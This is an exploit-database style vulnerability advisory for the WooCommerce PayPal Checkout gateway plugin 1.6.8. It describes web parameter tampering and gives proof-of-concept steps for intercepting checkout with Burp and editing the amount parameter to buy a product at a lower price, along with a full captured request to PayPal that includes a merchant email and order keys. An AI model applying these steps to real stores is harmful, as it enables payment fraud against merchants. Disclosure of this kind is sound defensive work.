PayPal Checkout allows you to securely sell your products and subscriptions online using In-Context Checkout to help you meet security requirements without causing your theme to suffer. In-Context Checkout uses a modal window, hosted on PayPalís servers, that overlays the checkout form and provides a secure means for your customers to enter their account information ## Vulnerability Description => The Web Parameter Tampering attack is based on the manipulation of parameters exchanged between client and server in order to modify application data, such as user credentials and permissions, price and quantity of products, etc. Usually, this information is stored in cookies, hidden form fields, or URL Query Strings, and is used to increase application functionality and control. This attack can be performed by a malicious user who wants to exploit the application for their own benefit, or an attacker who wishes to attack a third-person using a Man-in-the-middle attack. In both cases, tools likes Webscarab and Paros proxy are mostly used. __________________________________ Proof Of Concept:- PoC 1 -Install Woocommerce Paypal checkout gateway plugin (1.6.8) in Remote. 2- Now fix a price of any product and configure it with this plguin. 3- Do checkout through paypal and capture the data from burp. 5- Here you will find post based request with amount parameter- Now Edit amount parameter as you want and forward it . 6- You will see a new price and you can purchase that product on your new edited price. ------------------- Post REQUEST:- GET /cgi-bin/webscr?cmd=_cart&business=gkaim100%40gmail.com&no_note=1&currency_code=INR&charset=utf-8&rm=2&upload=1&return=https%3A%2F%2Fa2zcourse.com%2Fcheckout%2Forder-received%2F798%2F%3Fkey%3Dwc_order_wJp0p80pFSg8V%26utm_nooverride%3D1&cancel_return=https%3A%2F%2Fa2zcourse.com%2Fbasket%2F%3Fcancel_order%3Dtrue%26order%3Dwc_order_wJp0p80pFSg8V%26order_id%3D798%26redirect%26_wpnonce%3D68f71663cb&page_style=A2Zcourse.com&image_url=&paymentaction=sale&bn=WooThemes_Cart&invoice=A2Z-798&custom=%7B%22order_id%22%3A798%2C%22order_key%22%3A%22wc_order_wJp0p80pFSg8V%22%7D&notify_url=https%3A%2F%2Fa2zcourse.com%2Fwc-api%2FWC_Gateway_Paypal%2F&first_name=dfkjk&last_name=v%3Blbkm&address1=&address2=&city=&state=&zip=&country=&email=sdflmnvkj%40xncv.com&night_phone_b=8908098090&no_shipping=1&tax_cart=0.00&item_name_1=Artificial+Intelligence+2018+Build+the+Most+Powerful+AI&quantity_1=1&amount_1=5000&item_number_1=Artificial+Intelligence+2018 HTTP/1.1 Host: www.paypal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://a2zcourse.com/checkout/ Connection: close Upgrade-Insecure-Requests: 1 ---------------- Post RESPONSE:-- HTTP/1.1 302 Moved Temporarily Server: Apache X-Recruiting: If you are reading this, maybe you should be working at PayPal instead!
